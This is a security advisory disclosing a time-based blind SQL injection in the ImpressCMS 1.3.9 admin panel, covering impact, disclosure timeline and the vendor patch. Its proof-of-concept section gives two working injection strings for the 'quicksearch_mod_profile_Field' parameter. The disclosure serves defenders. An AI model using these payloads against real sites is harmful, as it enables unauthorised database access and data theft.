ImpressCMS 1.3.9 - SQL Injection

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MGC ALERT 2016-002
- Original release date: April 8, 2016
- Last revised:  April 21, 2016
- Discovered by: Manuel García Cárdenas
- Severity: 7,1/10 (CVSS Base Score)
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I. VULNERABILITY
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Time-based SQL Injection in Admin panel ImpressCMS <= v1.3.9

II. BACKGROUND
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ImpressCMS is a community developed Content Management System for easily
building and maintaining a dynamic web site.

III. DESCRIPTION
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This bug was found using the portal with authentication as administrator.
To exploit the vulnerability only is needed use the version 1.0 of the HTTP
protocol to interact with the application.

It is possible to inject SQL code in the variable
"quicksearch_mod_profile_Field" on the page
"/modules/profile/admin/field.php".

IV. PROOF OF CONCEPT
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The following URL's and parameters have been confirmed to all suffer from
Time Based Blind SQL injection.

quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
(SELECT(SLEEP(1)))IRLV) AND ('DhUh' LIKE
'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15

quicksearch_mod_profile_Field=aaaa') AND (SELECT * FROM
(SELECT(SLEEP(5)))IRLV) AND ('DhUh' LIKE
'DhUh&button_quicksearch_mod_profile_Field=Search&filtersel=default&limitsel=15

V. BUSINESS IMPACT
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Public defacement, confidential data leakage, and database server
compromise can result from these attacks. Client systems can also be
targeted, and complete compromise of these client systems is also possible.

VI. SYSTEMS AFFECTED
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ImpressCMS <= v1.3.9

VII. SOLUTION
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Install vendor patch.

VIII. REFERENCES
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http://www.impresscms.org/

IX. CREDITS
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This vulnerability has been discovered and reported
by Manuel García Cárdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
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April 8, 2016 1: Initial release
April 21, 2016 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
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April 8, 2016 1: Vulnerability acquired by Manuel Garcia Cardenas
April 8, 2016 2: Send to vendor
April 15, 2016 3: New contact to vendor with no response
April 21, 2016 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
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Manuel Garcia Cardenas
Pentester